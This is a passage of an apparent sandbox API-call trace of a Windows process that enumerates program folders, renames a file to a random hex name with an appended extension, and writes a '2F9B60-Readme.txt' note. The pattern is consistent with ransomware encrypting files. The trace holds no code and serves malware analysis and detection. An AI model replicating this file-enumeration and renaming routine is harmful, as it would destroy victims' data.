Flags=0x0, BaseAddress=0x4205a410) returned 1 [0136.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced7080) returned 1 [0136.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0b0) returned 1 [0136.585] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0136.585] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x4205cd30 [0136.586] wcscat (in: _Dest=0x4205cd30, _Source="86e7b4589f" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\86e7b4589f") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\86e7b4589f" [0136.586] wcscat (in: _Dest=0x4205cd30, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\86e7b4589f.2f9b60") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\86e7b4589f.2f9b60" [0136.586] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\86e7b4589f.2f9b60", NtPathName=0x3156f7d0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\86e7b4589f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20278230 [0136.586] NtSetInformationFile (FileHandle=0x1d5c, IoStatusBlock=0x3156f870, FileInformation=0x20278230, Length=0xac, FileInformationClass=0xa) returned 0x0 [0136.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20278230) returned 1 [0136.616] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202923b0) returned 1 [0136.616] NtQueryInformationFile (in: FileHandle=0x1d5c, IoStatusBlock=0x3156f838, FileInformation=0x3156f848, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3156f838, FileInformation=0x3156f848) returned 0x0 [0136.616] NtSetInformationFile (FileHandle=0x1d5c, IoStatusBlock=0x3156f838, FileInformation=0x3156f848, Length=0x28, FileInformationClass=0x4) returned 0x0 [0136.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205cd30) returned 1 [0136.631] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cc10) returned 1 [0136.632] FlushFileBuffers (hFile=0x1d5c) returned 1 [0138.480] CloseHandle (hObject=0x1d5c) returned 1 [0138.503] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x202b0150 [0138.503] wcscpy (in: _Dest=0x202b0150, _Source="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\" [0138.503] wcscat (in: _Dest=0x202b0150, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\2F9B60-Readme.txt" [0138.503] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\2f9b60-readme.txt")) returned 0xffffffff [0138.503] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\2f9b60-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1dfc [0138.513] WriteFile (in: hFile=0x1dfc, lpBuffer=0x1b82f9a0*, nNumberOfBytesToWrite=0xba9, lpNumberOfBytesWritten=0x3156f6f0, lpOverlapped=0x0 | out: lpBuffer=0x1b82f9a0*, lpNumberOfBytesWritten=0x3156f6f0*=0xba9, lpOverlapped=0x0) returned 1 [0138.514] CloseHandle (hObject=0x1dfc) returned 1 [0138.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202b0150) returned 1 [0138.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a5340) returned 1 Thread: id = 1983 os_tid = 0x11d8 [0136.121] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x205063b0 [0136.122] wcscpy (in: _Dest=0x205063b0, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0136.122] wcscat (in: _Dest=0x205063b0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0136.122] wcscat (in: _Dest=0x205063b0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*" [0136.122] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a560 [0136.122] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9ca90 [0136.122] wcscmp (_String1=".", _String2=".") returned 0 [0136.122] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.123] wcscmp (_String1="..", _String2=".") returned 1 [0136.123] wcscmp (_String1="..", _String2="..") returned 0 [0136.123] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~2.TAR")) returned 1 [0136.123] wcscmp (_String1="Workflow.Targets", _String2=".") returned 1 [0136.123] wcscmp (_String1="Workflow.Targets", _String2="..") returned 1 [0136.123] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x107a80 [0136.123] wcscpy (in: _Dest=0x107a80, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0136.123] wcscat (in: _Dest=0x107a80, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0136.123] wcscat (in: _Dest=0x107a80, _Source="Workflow.Targets" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.Targets" [0151.043] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x107a80, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1d34 [0151.044] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0151.044] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2=".") returned 1 [0151.044] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2="..") returned 1 [0151.044] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1b776770 [0151.044] wcscpy (in: _Dest=0x1b776770, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0" [0151.044] wcscat (in: _Dest=0x1b776770, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\" [0151.044] wcscat (in: _Dest=0x1b776770, _Source="Workflow.VisualBasic.Targets" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\Workflow.VisualBasic.Targets" [0151.044] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x1b776770, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2370 [0151.045] FindNextFileW (in: hFindFile=0x1cd9ca90, lpFindFileData=0x1cd9a560 | out: lpFindFileData=0x1cd9a560*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x812936d2, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7c347960, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7c347960, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 0 [0151.045] FindClose (in: hFindFile=0x1cd9ca90 | out: hFindFile=0x1cd9ca90) returned 1 [0151.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a560) returned 1 [0151.045] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205063b0) returned 1 [0151.046] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c790) returned 1 Thread: id = 1984 os_tid = 0x11dc [0136.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x98) returned 0x20506450 [0136.124] wcscpy (in: _Dest=0x20506450, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0136.124] wcscat (in: _Dest=0x20506450, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0136.124] wcscat (in: _Dest=0x20506450, _Source="*" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*" [0136.124] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9a7d0 [0136.125] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c730 [0136.125] wcscmp (_String1=".", _String2=".") returned 0 [0136.125] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812936d2, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812936d2, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.125] wcscmp (_String1="..", _String2=".") returned 1 [0136.125] wcscmp (_String1="..", _String2="..") returned 0 [0136.126] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5fae55dc, ftCreationTime.dwHighDateTime=0x1c9ea10, ftLastAccessTime.dwLowDateTime=0x5fae55dc, ftLastAccessTime.dwHighDateTime=0x1c9ea10, ftLastWriteTime.dwLowDateTime=0x5fc160dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0136.126] wcscmp (_String1="Workflow.Targets", _String2=".") returned 1 [0136.126] wcscmp (_String1="Workflow.Targets", _String2="..") returned 1 [0136.126] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x1067c0 [0136.126] wcscpy (in: _Dest=0x1067c0, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0136.126] wcscat (in: _Dest=0x1067c0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0136.126] wcscat (in: _Dest=0x1067c0, _Source="Workflow.Targets" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" [0151.620] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets")) returned 0x20 [0151.621] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", dwFileAttributes=0x20) returned 0 [0151.621] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.621] GetLastError () returned 0x5 [0151.621] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", dwFileAttributes=0x20) returned 0 [0151.621] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1067c0) returned 1 [0151.621] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eae0db9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x2eae0db9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x5fe776dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 1 [0151.621] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2=".") returned 1 [0151.621] wcscmp (_String1="Workflow.VisualBasic.Targets", _String2="..") returned 1 [0151.621] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xce) returned 0x1b776930 [0151.621] wcscpy (in: _Dest=0x1b776930, _Source="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5" [0151.621] wcscat (in: _Dest=0x1b776930, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\" [0151.621] wcscat (in: _Dest=0x1b776930, _Source="Workflow.VisualBasic.Targets" | out: _Dest="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets") returned="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" [0151.622] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets")) returned 0x20 [0151.622] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 0 [0151.622] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.visualbasic.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0151.622] GetLastError () returned 0x5 [0151.622] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.VisualBasic.Targets", dwFileAttributes=0x20) returned 0 [0151.622] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776930) returned 1 [0151.622] FindNextFileW (in: hFindFile=0x1cd9c730, lpFindFileData=0x1cd9a7d0 | out: lpFindFileData=0x1cd9a7d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2eae0db9, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0x2eae0db9, ftLastAccessTime.dwHighDateTime=0x1ca03fe, ftLastWriteTime.dwLowDateTime=0x5fe776dc, ftLastWriteTime.dwHighDateTime=0x1c9ea10, nFileSizeHigh=0x0, nFileSizeLow=0x21e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.VisualBasic.Targets", cAlternateFileName="")) returned 0 [0151.622] FindClose (in: hFindFile=0x1cd9c730 | out: hFindFile=0x1cd9c730) returned 1 [0151.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9a7d0) returned 1 [0151.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20506450) returned 1 [0151.623] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205d910) returned 1 Thread: id = 1985 os_tid = 0x11e0 [0136.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1ced9240 [0136.128] wcscpy (in: _Dest=0x1ced9240, _Source="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0" [0136.128] wcscat (in: _Dest=0x1ced9240, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\" [0136.128] wcscat (in: _Dest=0x1ced9240, _Source="*" | out: _Dest="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*" [0136.128] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1cd9aa40 [0136.128] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\*", lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd9c850 [0136.129] wcscmp (_String1=".", _String2=".") returned 0 [0136.129] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xf2028d90, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xf2028d90, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0136.129] wcscmp (_String1="..", _String2=".") returned 1 [0136.130] wcscmp (_String1="..", _String2="..") returned 0 [0136.130] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7e186d00, ftCreationTime.dwHighDateTime=0x1cfb543, ftLastAccessTime.dwLowDateTime=0x7e186d00, ftLastAccessTime.dwHighDateTime=0x1cfb543, ftLastWriteTime.dwLowDateTime=0x7e186d00, ftLastWriteTime.dwHighDateTime=0x1cfb543, nFileSizeHigh=0x0, nFileSizeLow=0x3d800, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrSecUpd10111.msp", cAlternateFileName="ADBERD~2.MSP")) returned 1 [0136.130] wcscmp (_String1="AdbeRdrSecUpd10111.msp", _String2=".") returned 1 [0136.130] wcscmp (_String1="AdbeRdrSecUpd10111.msp", _String2="..") returned 1 [0136.130] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4450880, ftCreationTime.dwHighDateTime=0x1cf6c45, ftLastAccessTime.dwLowDateTime=0xb4450880, ftLastAccessTime.dwHighDateTime=0x1cf6c45, ftLastWriteTime.dwLowDateTime=0xb4450880, ftLastWriteTime.dwHighDateTime=0x1cf6c45, nFileSizeHigh=0x0, nFileSizeLow=0x10e3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10110_MUI.msp", cAlternateFileName="ADBERD~1.MSP")) returned 1 [0136.130] wcscmp (_String1="AdbeRdrUpd10110_MUI.msp", _String2=".") returned 1 [0136.130] wcscmp (_String1="AdbeRdrUpd10110_MUI.msp", _String2="..") returned 1 [0136.130] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="ADBERD~3.MSP")) returned 1 [0136.130] wcscmp (_String1="AdbeRdrUpd10116_MUI.msp", _String2=".") returned 1 [0136.130] wcscmp (_String1="AdbeRdrUpd10116_MUI.msp", _String2="..") returned 1 [0136.130] FindNextFileW (in: hFindFile=0x1cd9c850, lpFindFileData=0x1cd9aa40 | out: lpFindFileData=0x1cd9aa40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="ADBERD~3.MSP")) returned 0 [0136.130] FindClose (in: hFindFile=0x1cd9c850 | out: hFindFile=0x1cd9c850) returned 1 [0136.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9aa40) returned 1 [0136.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced9240) returned 1 [0136.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ca30) returned 1 Thread: id = 1986 os_tid = 0x11e4 [0136.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1cd9ca30 [0136.140] wcscpy (in: _Dest=0x1cd9ca30, _Source="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0" [0136.140] wcscat (in: _Dest=0x1cd9ca30, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\All Users\\Adobe\\Acrobat\\10.0\\" [0136.140] wcscat (in: _Dest=0x1cd9ca30, 